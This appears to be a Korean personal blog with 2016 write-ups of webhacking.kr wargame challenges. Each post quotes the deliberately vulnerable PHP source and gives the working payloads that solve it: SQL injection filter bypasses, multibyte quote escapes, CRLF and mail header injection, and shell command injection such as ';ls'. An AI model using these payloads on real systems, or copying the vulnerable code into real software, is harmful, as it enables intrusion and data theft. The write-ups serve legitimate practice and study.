늘모자란, 개발

늘모자란, 개발


문제에 들어오면 hello world 딸랑 하나 있다

<html>
<head>
<title>Challenge 53</title>
</head>
<body>
hello world
<br><br><br>
<?
if(time()<1260615600) exit();

$hidden_table="????";

if($_GET[answer]==$hidden_table)
{
@solve();
exit();
}

if(eregi("union",$_GET[val])) exit();
if(eregi("select",$_GET[val])) exit();
if(eregi("from",$_GET[val])) exit();
if(eregi("/",$_GET[val])) exit();
if(eregi("\*",$_GET[val])) exit();
if(eregi("#",$_GET[val])) exit();
if(eregi("-",$_GET[val])) exit();
if(eregi(",",$_GET[val])) exit();
if(eregi("=",$_GET[val])) exit();
if(eregi("!",$_GET[val])) exit();
if(eregi("\|",$_GET[val])) exit();
if(eregi("by",$_GET[val])) exit();


$f=@mysql_fetch_array(mysql_query("select test1 from $hidden_table where test2=$_GET[val]"));

echo($f[0]);

if($f)
{
echo("<br><br><form method=get action=index.php>challenge53 TABLE NAME : <input type=text name=answer size=50><input type=submit></form>");
}

?>

<!-- index.phps -->
</body>
</html>


가장 위에 있는 answer는 최종 정답이고, val을 이용해 일단 들어가야되는데 이건 or이 막혀있지 않아서 간단히 패스할 수 있다.

2%20or%201


이제 여기서 부터 시작이다.
(밑에 사진 올리고 나서 알아챘지만 그냥 1,2,3,4 입력해도 나온다..........)



옛날에 컬럼이름은 어떻게 알아내는가?에 대해 글을 쓴적이 있는데 결론은 information.schema 에 접근을 못하면 못알아낸다로 결론을 냈었다.
심지어 이 문제에서는 select도 못하고, union도 못하며, from도 못한다. 진짜 어떻게 하라는건지 감도 못잡고 있다가 결국 검색찬스를 썼다.

결론부터 말하자면 이녀석이다.

procedure analyse()


난 본적도 없는데 검색해보면 인젝션 기법중 하나라고 많이 나오는데 여기까지 닿기가 정말 어렵다. 도저히 모르겠다.
결국 한번 돌려보고 결과를 얻어봤는데, 컬럼들이 전부 나오고 최대길이의 row, 최적화된 length , type을 추천해준다.
당연히 테이블명을 얻을 수 있는건 일도 아닌것이다. 다 사용하고 있는 DB라 보여줄순 없네. 여튼 유용하게 쓰일만한 기법이다.

여튼 val에 들어갈 쿼리를 이렇게 꾸민다.

1 procedure analyse() #


그럼 테이블명을 뱉는다. 출력을 [0]만 하니까 첫번째 컬럼만 출력하지만 이걸로도 테이블 이름은 충분히 알 수 있다.
테이블 명을 넣어주면 패스..


2016/04/02 16:52 2016/04/02 16:52


충분히 감은 온다. mail header injection하고 원리는 같은것 같다.
다만 Cookie를 내가 넣는게 아니라 생성하는걸 어떻게 하는줄 몰라서 찾아봤더니 좋은데가 있었다.

정식명칭도 있는 얘는 CRLF Injection이라고 한단다.
Set-Cookie를 쓰면 되는건 알았고 개행을 시켜야되는데 \r\n도 넣어보고 \n도 넣어보고 했는데 잘 안되었다.

라고 생각하고 이 쉬운거에 20분 넘게 쓴것 같다 ㅡㅡ
Set-Cookie가 아니라 그냥 header에 끼워넣으면되는거였다. 아 어이가 없네..

?id=[]%0D%0Aclear:%20[]


그리고 id=[] 쿠키를 생성하라는데 이게 아니라 clear: 를 해야한다. 이건 뭐 문제도 헷갈리고 나도 난독이고.......
2016/04/02 16:22 2016/04/02 16:22


최신기술인가?; 이런 그래픽이 나올수가 있다니

<html>
<head>
<title>Challenge 51</title>
<style>
table{ color:lightgreen;}
</style>
</head>
<body bgcolor=black><br><br>
<font color=silver>
<center><h1>Admin page</h1></center>
</font>
<?


if($_POST[id] && $_POST[pw])
{
$input_id=$_POST[id];
$input_pw=md5($_POST[pw],true);

$q=@mysql_fetch_array(mysql_query("select id from challenge_51_admin where id='$input_id' and pw='$input_pw'"));

if($q[id]=="admin")
{
@solve(51,250);
}

if($q[id]!="admin") echo("<center><font color=green><h1>Wrong</h1></font></center>");


}

?>
<br><br><br>
<form method=post action=index.php>
<table border=0 align=center bgcolor=gray width=200 height=100>
<tr align=center><td>ID</td><td><input type=text name=id></td></tr>
<tr align=center><td>PW</td><td><input type=password name=pw></td></tr>
<tr><td colspan=2 align=center><input type=submit></td></tr>
</table>
<font color=silver>
<div align=right><br>.<br>.<br>.<br>.<br><a href=index.phps>Source</a></div>
</font>
</form>
</body>
</html>


바로 눈에 들어오는건 md5에 true인자를 준거였다. 저렇게 쓰는걸 본적이없는데... 바로 검색해봤더니 역시 저기에 취약점이 있었다.

정답부터 말하자면 이녀석이다.

129581926211651571912466741651878684928


이녀석을 md5에 넣게 되면 바이너리화하게 되고 결국 깨진 문자열이 들어가면서, 쿼리를 파괘(...) 하게 된다.
자세한 내용은 여기에서 참고 하였는데, 응용해서 만들면 만들 수 있긴하겠다만 애초에 12958... 뭐시기 저걸 피해갈 수 없을정도로 유명한 구문이다 (-_-) 얻을 수 있는 교훈이라면 쓸데없이 이상한거 하지 말자(.....)
2016/04/02 15:42 2016/04/02 15:42

어디서 많이 본 화면이다.

<html>
<head>
<title>Challenge 50</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
id : <input name=id value='guest'><br>
pw : <input name=pw value='guest'><br>
<input type=submit>&nbsp;&nbsp;&nbsp;<input type=reset>
</form>
<?
if(time()<1258110000) exit();
?>
<!-- index.phps -->

<?
if($_GET[id] && $_GET[pw])
{
 
$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');


foreach($_GET as $ck)
{
if(eregi("from",$ck)) exit();
if(eregi("pw",$ck)) exit();
if(eregi("\(",$ck)) exit();
if(eregi("\)",$ck)) exit();
if(eregi(" ",$ck)) exit();
if(eregi("%",$ck)) exit();
if(eregi("=",$ck)) exit();
if(eregi(">",$ck)) exit();
if(eregi("<",$ck)) exit();
if(eregi("@",$ck)) exit();
}


if(eregi("union",$_GET[id])) exit();
 
$data=@mysql_fetch_array(mysql_query("select lv from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));


if($data)
{
if($data[0]=="1") echo("level : 1<br><br>");
if($data[0]=="2") echo("level : 2<br><br>");
} 

if($data[0]=="3")
{
@solve();
}
 
 
if(!$data)
{
echo("Wrong");
}
 
}
 
?>

<br><br><br>
<center>Thanks to <a href=http://webhacking.kr/index.php?mode=information&id=hahah>hahah</a></center>
<br><br><br>
</body>
</html>


소스를 보니 진짜로 많이 본 화면이다.
혹시 하는마음에 답을 똑같이 넣어봤지만 되진않았다. 되면 어이없을뻔하긴했지만, 멀티바이트 취약점을 똑같이 이용해야하는것 같긴하다.
날로 먹으려는 생각은 일단 좀 버리고 제대로 읽어보도록.. 흠..

결론은 lv를 select해야될 것 같다. 앞선 문장을 다 false로 만들고 or을 넣어서 lv3을 select해야할 것 같은데..
취약점을 이용해 ' 를 무력화 하기 위해 앞에 %a1을 붙여주고, 공백을 필터링하고 있으니 or 대신 || 를 사용해 최소화한다. id에 이렇게 값을 넣어본다.

%a1%27%7C%7C1%23


풀어쓰면 '||1# 인데 이렇게 치면 level1이 나온다. 뒤쪽까지 주석처리에 성공한 모양이지만 잘되나 확인해보자.

%A1%27%7C%7Clv%0Alike%0A2%0A%23


공백을 넣어야하는데 공백문자는 필터링되어있다. 그래서 공백을 %0A로 바꿔주었다. 다 풀어쓰면 이런모양이다.

'||lv
like
1#


얘는 level: 1이 나온다 다된줄 알고 기뻐해서 2로 고쳐서 날려봤는데... 안 나 온 다..
아마 lv2는 없는것 같다. 3으로 고쳐서 해봐도 똑같이 안된다.
값이 없을땐 강제로 만들면 되지 라는 깡패같은 문제를 푼적이 있겠지만, union을 써야한다.

근데 골때리는게 id에는 union을 쓸수가 없다. 기껏 뒤쪽 문장을 주석처리 시켜놨더니 풀고 pw에 써야될 판이다.
pw는 심지어 md5 해쉬화 하고 있다. 이 부분을 다 무력화 시키지 않으면 안되는데.. 감이 안잡혀서 역시 검색찬스를 썼다. 답은 주석이었다.
방금 주석 못쓴다고 하지 않았냐는데 아니다. 쓸 수 있다.
#도 있고 -- 도 있지만, /**/를 완전 까먹고 살아서 이꼴이다.

요컨데 이런 꼴로 만들면 되겠다

"select lv from members where id='/*' and pw=md5('*/ union select 3 #'"


이를 urlencode해서 옮기면 이렇다.

id=%A1%27%2F%2A&pw=%2A%2F%0Aunion%0Aselect%0A3%23


정말 /**/는 상상도 못했다. 다 풀었다 생각했는데 왠 벽이 하나 나타난 느낌이었다...ㅠㅠ
2016/04/02 15:33 2016/04/02 15:33


똑같이 생겼다..

<html>
<head>
<title>Challenge 49</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
level : <input name=lv value=1><input type=submit>
</form>
<?
if(time()<1258110000) exit();

if($_GET[lv])
{
if(eregi("union",$_GET[lv])) exit();
if(eregi("from",$_GET[lv])) exit();
if(eregi("select",$_GET[lv])) exit();
if(eregi("or",$_GET[lv])) exit();
if(eregi("and",$_GET[lv])) exit();
if(eregi("\(",$_GET[lv])) exit();
if(eregi("\)",$_GET[lv])) exit();
if(eregi("limit",$_GET[lv])) exit();
if(eregi(",",$_GET[lv])) exit();
if(eregi("/",$_GET[lv])) exit();
if(eregi("by",$_GET[lv])) exit();
if(eregi("desc",$_GET[lv])) exit();
if(eregi("asc",$_GET[lv])) exit();
if(eregi("cash",$_GET[lv])) exit();
if(eregi(" ",$_GET[lv])) exit();
if(eregi("%09",$_GET[lv])) exit();

$q=@mysql_fetch_array(mysql_query("select id from members where lv=$_GET[lv]"));

echo($q[0]);
if($q[0]=="admin") @solve();

}
?>
<!-- index.phps -->
</body>
</html>

필터링이 더 하드코어 해졌다. 이제 괄호도 못쓰게 됐다. 다만, 전에 있었던 0x 라는 필터가 사라졌다.
여전히 or은 있지만, || 를 필터하고 있진 않은것 같다. 대강 사이즈가 나오니 해보자.
저번엔 CHAR를 이용해 우회했는데 이번엔 문자열 전부를 hex-encode해보자. 원리는 완전히 같다.

2||id=0x61646d696e


가볍게 패스.



2016/04/02 14:44 2016/04/02 14:44


약간 랭킹 표시되었던거처럼 모양이 그렇다. index.php를 올리려니까 파일명이 세글자 넘으면안된다고 제지당한 모습이다
글을 일단 쓰면, 스스로 삭제 할 수 있도록 delete 버튼이 생긴다.

delete 버튼을 보니 인자값에 timestamp를 활용하고 있다. timestamp를 그럼 내가 조작해서 보내면 이사람들 글을 지울지 있지 않을까 라는 생각이 들었다. (언제 쓴진 모르니까 막연하다 물론)

한참 돌려놨다가 이게 아닌것 같다. 그래도 배점 350점 짜린데...
아까 세글자 안된다는 뭔가가 마음에 자꾸 걸린다. 파일을 업로드해보기로 한다.



오늘 내내 삭제질만 할뻔했다. 뭔가 새로운 버튼이 생겼다.
클릭해보니 파일명은 그대론데, 내용이 null이다. 아까 커맨드라인 인젝션이 생각이 난다.
&ls도 해보고 &'l's도 해보고 하는데 잘 안된다.

system("echo null > $_FILE[''][name]")


뭐 이런 모양일것 같은데....
세글자안에서 해결 해야되고 두글자는 ls가 확정인 상태. 아까 할떄 필터된 단어중에 ; 이 있었다. 이녀석을 넣어본다.
별 달리 달라지는건 없는것 같...은데? 삭제를 누르니... ?????


이럴때 양키들은 like a charm 이라고 한댔나
원리가 궁금하니 좀 찾아보자면,

&는 앞선 명령어가 성공했을때 연속으로 뒤도 실행되게 하는것이다.
근데 ; 는 원라이너를 위해 앞이 실패하든말든 그냥 구분해주는 느낌으로 쓰는것이다.

고로 업로드할때는 별 문제가 되지 않지만 삭제를 하면 이런 꼴이 되는것이다.

rm upload/;ls


앞에서 의도적으로 오류를 만들고, ls를 하게 해 파일리스트가 나오게 하는 것.
3글자 힌트가 좀 결정적이었던것 같다.

2016/04/02 14:41 2016/04/02 14:41


메일 헤더 인젝션이라고 한다. index.phps도 제공되지 함께 보자

<html>
<head>
<title>Challenge 47</title>
</head>
<body>
Mail Header injection
<pre>
<form method=post action=index.php>
<font size=2>Mail</font> : <input type=text name=email size=50 style=border:0 maxlength=50><input type=submit>
</form>

<?

if($_POST[email])
{

$pass="????";

$header="From: $_POST[email]\r\n";

mail("admin@webhacking.kr","readme","password is $pass",$header);


echo("<script>alert('Done');</script><meta http-equiv=refresh content=1>");
}
?>

</pre>

<!-- index.phps -->

</body>
</html>


별다른 필터링도 없다. 메일 헤더 인젝션이라니까, admin@webhacking.kr로 가는걸 가로 채서 나한테 보내야될 것 같다.
mail header injection으로 많이 찾아봤는데 Reply-To도 있고 Bcc도 있고 Cc도 있는데 그냥 간단하게 cc로 해보도록 한다.
raw를 조작해 요렇게 보내준다. (urlencode하기 귀찮아 그냥 바로 넣었다)

POST http://webhacking.kr/challenge/bonus/bonus-11/index.php HTTP/1.1
Host: webhacking.kr
Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://webhacking.kr
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://webhacking.kr/challenge/bonus/bonus-11/index.php
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: PHPSESSID=; kk=1

email=@naver.com
cc: @naver.com


뭐 이런 모양이다. 패스워드가 화면에 표시되고 문제 끝.
2016/04/02 14:18 2016/04/02 14:18


레벨이 있다..
.
..

<html>
<head>
<title>Challenge 46</title>
</head>
<body>
<form method=get action=index.php>
level : <input name=lv value=1><input type=submit>
</form>
<?
if(time()<1256900400) exit();

?>
<!-- index.phps -->
<?

$_GET[lv]=str_replace(" ","",$_GET[lv]);
$_GET[lv]=str_replace("/","",$_GET[lv]);
$_GET[lv]=str_replace("*","",$_GET[lv]);
$_GET[lv]=str_replace("%","",$_GET[lv]);

if(eregi("union",$_GET[lv])) exit();
if(eregi("select",$_GET[lv])) exit();
if(eregi("from",$_GET[lv])) exit();
if(eregi("challenge",$_GET[lv])) exit();
if(eregi("0x",$_GET[lv])) exit();
if(eregi("limit",$_GET[lv])) exit();
if(eregi("cash",$_GET[lv])) exit();

$q=@mysql_fetch_array(mysql_query("select id,cash from members where lv=$_GET[lv]"));

if($q && $_GET[lv])
{
echo("$q[0] information<br><br>money : $q[1]");

if($q[0]=="admin") @solve();

}
?>

</body>
</html>


일단 눈에 띄는건 0x를 쓸수가 없다. hex match를 할 수 없다는 말 같다.
다행히 "는 쓸 수 있는것 같고. 그럼 여태까지 해왔던게 있으니 쿼리를 만들어보자.

row 에 1이 있으니까 lv에 1을 주면 안되고 false로 만든다.
그리고 공백을 적을 수가 없으니까 일반 OR을 적어도 안되니 || 를 쓴다.
id=admin은 적어줘야 할 것 같은데 왠지 필터링이 된다. CHAR을 사용해보자.
종합하면

2||id=CHAR(97,100,109,105,110)


끝!



2016/04/02 14:05 2016/04/02 14:05


별 희한한걸 많이 봤더니 sql injection이 맘이 편해지는것 같기도하다.

 <html>
<head>
<title>Challenge 45</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
id : <input name=id value=guest><br>
pw : <input name=pw value=guest><br>
<input type=submit>&nbsp;&nbsp;&nbsp;<input type=reset>
</form>
<?
if(time()<1256900400) exit();
?>

<!-- index.phps -->

<?

$pw="?????";

if($_GET[id] && $_GET[pw])
{

$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');

if(eregi("admin",$_GET[id])) exit();
if(eregi("from",$_GET[id])) exit();
if(eregi("union",$_GET[id])) exit();
if(eregi("limit",$_GET[id])) exit();
if(eregi("union",$_GET[pw])) exit();
if(eregi("pw",$_GET[pw])) exit();
if(eregi("=",$_GET[pw])) exit();
if(eregi(">",$_GET[pw])) exit();
if(eregi("<",$_GET[pw])) exit();
if(eregi("from",$_GET[pw])) exit();
$data=@mysql_fetch_array(mysql_query("select id from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));


if($data)
{
echo("hi $data[0]<br><br>");

if($data[0]=="admin") @solve();
}


if(!$data)
{
echo("Wrong");
}

}

?>

</body>
</html>



필터링이 어마무시하다. 블라인드 인젝션을 걸려고 CHAR도 해보고 별에별 삽질을 다해봤는데 안된다.
소스를 무시하고 하던데로 삽질을 좀 했는데, 문제를 무시하지 말자ㅠㅠ 뜬금없이 인코딩이 등장하면 저걸 써먹어야할 것 아니니..

mb_convert_encoding를 일단 검색해보면 구글에 바로 취약점과 엮어서 검색된다.
내용인 즉슨 구버전 PHP의 function 자체 결함이 있다는것 같은데, 일단 고대로 따라해보기로 한다.
이래도 되나 싶을정도로 한방에 패스된다. 어이가 없다.

이대로 끝나면 너무 허무하니까, 왜 취약점이 발생하는지 소개를 해야겠다.
곧 마주하게 되겠지만, 요기만큼 잘 설명된곳을 찾질 못해서 링크를 하고 끝낸다. 여튼 멀티바이트가 문제다. 다국어... 스레기.. 한국어합시다..
2016/04/02 09:22 2016/04/02 09:22

소스도 별거 없고, 일단 1 적고 들어가본다.
Hello 1 이 돌아오는데 뭔가 이상하다. 창이 넘어가는게 한번 더 거친것 같다.
디버거를 켜고 한번 다시 해보기로 한다.

index.php 에서 form값으로 index.php를 넘겨주는데, 값을 입력받으면 <meta>를 이용해 /index/go.html으로 넘겨준다.
그리고 go.html은 내 아이디가 적혀있다. 따로 인자를 넘기진 않는것 같은데도..

근데 뭐 admin이면 admin을 적어도 되고 공백을 넘겨도 넘어가고, 55글자씩 적어서 보내도 잘 된다.
뭘 의도하는지 잘 모르겠다. 그러던와중에 ; 를 적으니까 인자가 안넘어는걸 발견했다. \도 마찬가지.. 이게 쓸모가 있나 모르겠다

그래서 검색 했더니 Command Injection이라고 한다. ㅡㅡ 이게 파일이 생성되고 있는지 아닌지 밖에선 알 길이 없으니...
그제서야 ls 고 cp고 쳐봤는데 하나도 안된다. 허 참...

어쨌든 이런 느낌의 명령어가 실행되고 있나 보다. 아마 그럼 exec일려나? 이런느낌인것 같다.

exec('echo $_POST['html']' > /index/go.html);


근데 아직도 여기 뭘 적어야되는지 모르겠다. 시스템 명령어를 넣으면 성공인가 싶은데. 대강 찾아보니 ls를 넣어야된다는 것 같다.
그래도 이해가 안되서 결국 command injection으로 검색해보니 OWASP에서 보여주고 있는게 있다.

<?php
print("Please specify the name of the file to delete");
print("<p>");
$file=$_GET['filename'];
system("rm $file");
?>


요컨데, 요런 코드가 있으면

http://127.0.0.1/delete.php?filename=bob.txt;id


이렇게 질의를 하면

Please specify the name of the file to delete
uid=33(www-data) gid=33(www-data) groups=33(www-data) 


이렇게 대꾸 한다는것이다. 요 문제에서도 비슷한걸 수행해야 하는 모양이다.
최종 골은, /index/go.html이 아니라 다른 파일을 만들게 해야된다는것!  근데 bypass를 검색해봤는데 주로 사용되는 " 랑 ; 가 이미 필터링 되고 있다. '는 되는것 같고.. bash의 #가 주석이니까 #를 넣는 방법으로도 잘 안되었다ㅠㅠ

결국 검색을 좀 했는데 (이문제는 정말 부끄럽다;;)
ls가 필터링되고 있으니 간단히 ls 필터링을 회피해야된다는것이다. 그래서 다음과 같이 만들어주면 된다.

'&l's


부끄러우니 첨언을 좀 하자면,
&는 커맨드에서 앞 명령어가 성공적으로 실행되게 되면 다음 명령어도 수행하라는 말이다.
즉 echo hello은 성공적으로 실행되기때문에, 뒤의 ls도 동작시켜 go.html에 같이 쓰게 하는것이다.
(실제로, 'l's라고 적어도 ls명령어를 출력한다 -_-;)

정말 별에별 공격이 다있구나 싶다...
2016/04/02 08:59 2016/04/02 08:59